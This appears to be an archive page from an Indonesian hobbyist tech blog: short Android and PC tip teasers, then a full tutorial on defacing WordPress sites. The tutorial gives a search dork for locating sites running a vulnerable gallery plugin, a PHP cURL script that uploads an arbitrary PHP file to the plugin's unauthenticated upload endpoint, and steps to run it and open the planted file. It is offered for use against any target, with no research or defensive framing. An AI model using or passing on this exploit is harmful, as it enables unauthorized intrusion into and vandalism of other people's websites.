January 2014

Home » Arsip untuk January 2014

Shutdown PC Lewat Android

langsung aja. persiapan : android : https://play.google.com/store/apps/details?id=at.specsoft.shutdowntimertrial PC : http://dl.dropboxusercontent.com/u/18897350/shutdown/app/Shutdown_3.0.1.jar masing2...

Cara Memperbaiki Local Area Network Tidak Terkoneksi Internet Tapi Sudah Nyambung Kabelnya

kemaren ane abis kena masalah ini.. ga tau kenapa tiba2 internet ane gak jalan. terus ane selidiki, ternyata kabel LAN nya yang bermasalah.. ciri2 masalah...

Android : Proximity Action

Pada postingan beberapa waktu yang lalu, ane udah share bagaimana cara agara kita bisa lock/unlock android hanya dengan gerakan tangan. Nah kali...

Android : FIX Insufficient Storage Available 100% work

Pernahkah kalian download di google play store trus ada error insufficient storage avaiable ? pasti yg ada dipikiran agan, memorinya full harus dihapusin...

Android : Lock Screen Hanya Dengan Gerakan Tangan (tanpa menyentuh hp)

wah, pasti agan kepingin banget punya hp gak perlu di sentuh bahkan ditekan, bisa ngunci sendiri dan bisa membuka sendiri yaitu hanya dengan gerakan tangan...

sekarang ane mau share sedikit cara untuk deface WP. jujur aja ni agak susah dan harus sabar.. baca dengan teliti, jangan sampe kelewat.. langsung aja !

alat2 :
- xampp
- script php & deface

langkah2 :
sebelumnya kita cari target dulu. masukan
dork : allinurl:/wp-content/plugins/complete-gallery-manager/frames
exploit : /wp-content/plugins/complete-gallery-manager/frames/upload-images.php
kalau muncul "error no file were uploaded". jangan panik.. emang gitu kok.. jadi ya ikuti aja langkah2 selanjutnya
kalau udah ya simpen di notepad dulu, apa ditulis dimana dulu, terserah. yg penting simpen dulu targetnya. kalau udah ikutin petunjuk berikut
1. download xampp (cari di google) & install
2. buka folder C:\xampp\ php
3. buat file namanya exploit.php
4. edit filenya pake notepad seperti ini :

<?php $uploadfile="hacked.php"; $ch = curl_init("http://www.TARGET.com/wp-content/plugins/complete-gallery-manager/frames/upload-images.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('qqfile'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?>

PENTING :
untuk warna merah : tuliskan target kalian. langsung aja ganti target.com nya jadi websitenya biar cepet
untuk warna biru : ganti dengan nama file deface kalian masing2
5. lalu save. inget, extensinya tetep php
6. lalu buat 1 file lagi namanya hacked.php atau apa terserah yg penting extensinya php juga.
7. lalu isi script deface kalian
8. lalu save
jadi sekarang kita punya 2 file yaitu exploit.php dan hacked.php / script deface msing2
29. buka xampp, lalu klik tombol "shell" di sebelah kanan atas

10. ketikan "cd C:\xampp\php" tanpa tanda petik
11. lalu ketik "php exploit.php" tanpa tanda petik
12. nanti bakal keluar seprti ini

13. walau ga begitu jelas. yg penting kek gitu.. lalu copy paste script baris 1 dan baris 2, seprti yang ane mark di gambar.
14. lalu paste di sembarang tempat
15. lalu teliti disitu terselip link. walaupun pake \/
16. lu ambil linknya, lalu ganti tanda \/ jadi //. contoh : http://www.target.com//wp-content//uploads//2014//01//hacked.php
17. setelah itu buka deh linknya...

tinggal mau di obrak abrik terserah.. :D
sekian dulu, semoga bermanfaat.. :) test 20:45 Admin Bandung Indonesia